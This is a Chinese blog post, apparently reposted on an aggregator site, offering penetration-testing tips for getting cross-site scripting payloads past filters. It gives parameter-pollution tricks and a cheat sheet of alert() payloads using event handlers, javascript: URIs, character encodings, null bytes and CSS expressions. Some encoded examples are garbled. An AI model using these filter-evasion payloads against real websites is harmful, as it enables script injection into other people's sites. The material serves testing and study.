关于XSS绕过的一些见解
Posted 蘑菇安全小组
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于XSS绕过的一些见解相关的知识,希望对你有一定的参考价值。
关于XSS绕过的一些见解
无论工作中还是个人的渗透中,都会遇到各种各样的XSS漏洞,包括修复漏洞后的测试,都会遇到各种各样的防护机制,于是想写出一点思路,希望对大家有点思路上的帮助。
XSS形成原因是:输入什么,便输出什么。所以,输入点和输出点都很重要。
1.从输入点角度来说:
A.我们从客户端向服务器传递参数值主要无非三种方式:Get、POST、Cookie。当使用其中一种方式传递XSS的payload时,会被防护机制直接过滤掉,如我们使用Get方式:“http://ip/目录1/目录2/目录3/GetTreeXml.aspx?TreeCode=SiteTree"'></script><script>alert(1)</script>&RootID=-&ReplaceCode=&ButtonAlign=left&SelectNodeType=None&SelectRelation=0&IsRoot=0&CacheData=1&IsCookie=0”,
直接会被防御机制PASS掉,这时候可以使用POST方式或者Cookie方式,亲测有效,当然其他传递参数的方式大家也可以试试,反正我没试过。
B.利用参数污染的漏洞,比如我的get请求是这样的“http://ip/index.jsp?User=111&User=></script><script>alert(1)</script>&Pwd=123”,这时候后台处理机制可能会检查第一个User参数,但是使用的却是第二个User参数,这时候咱们就可以绕过防御造成XSS。当然,还有几种参数污染情况,比如检查第二个User参数,却使用第一个User参数,又比如把两个参数组合起来。
2.从输出点考虑来说
输出的位置无非就是几种(红色表示我们输出的payload):
JS代码中; 例如:<script>alert(1)</script>
CSS中;
html中; 例如:<p><script>alert(1)</script></p>
标签的属性中; 例如:<input id=”user1” value=””onclilk=alert(1)>//<”>
所以我们需要针对不同的输出点,构造padyload,以下有部分思路(部分引用):
n 闭合标签,单双引号(不解释)
n 绕过单引号
使用“/”
使用如下HTML预留编码:
" " " 双引号
& & & &符号
< < < 小于号
> > > 大于号
n 绕过 SCRIPT 过滤
1>利用事件
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')">
2>使用 IMG 源
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3>使用charcode
4>使用ascii码
<IMG
SRC=javascript:& #97; le rt('XSS')>
3>使用制表符 换行符和回车符
4>使用空白符
<SCR%00IPT>alert("XSS")</SCRIPT>
5>利用双引号配对bug
n 绕过css过滤器
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<STYLE> a { width: expression(alert('XSS')) } </STYLE>
<DIV STYLE="width: expression(alert('XSS'));">
n 各种编码:例如UTF7编码、URL编码、base64等,需多做测试。
n 替换。如我们常用的alert()函数可能会被过滤,还可以使用prompt()、
confirm()
总结:思路就这么多,综合运用才是王道。
您的关注就是对我们的支持与信任!
以上是关于关于XSS绕过的一些见解的主要内容,如果未能解决你的问题,请参考以下文章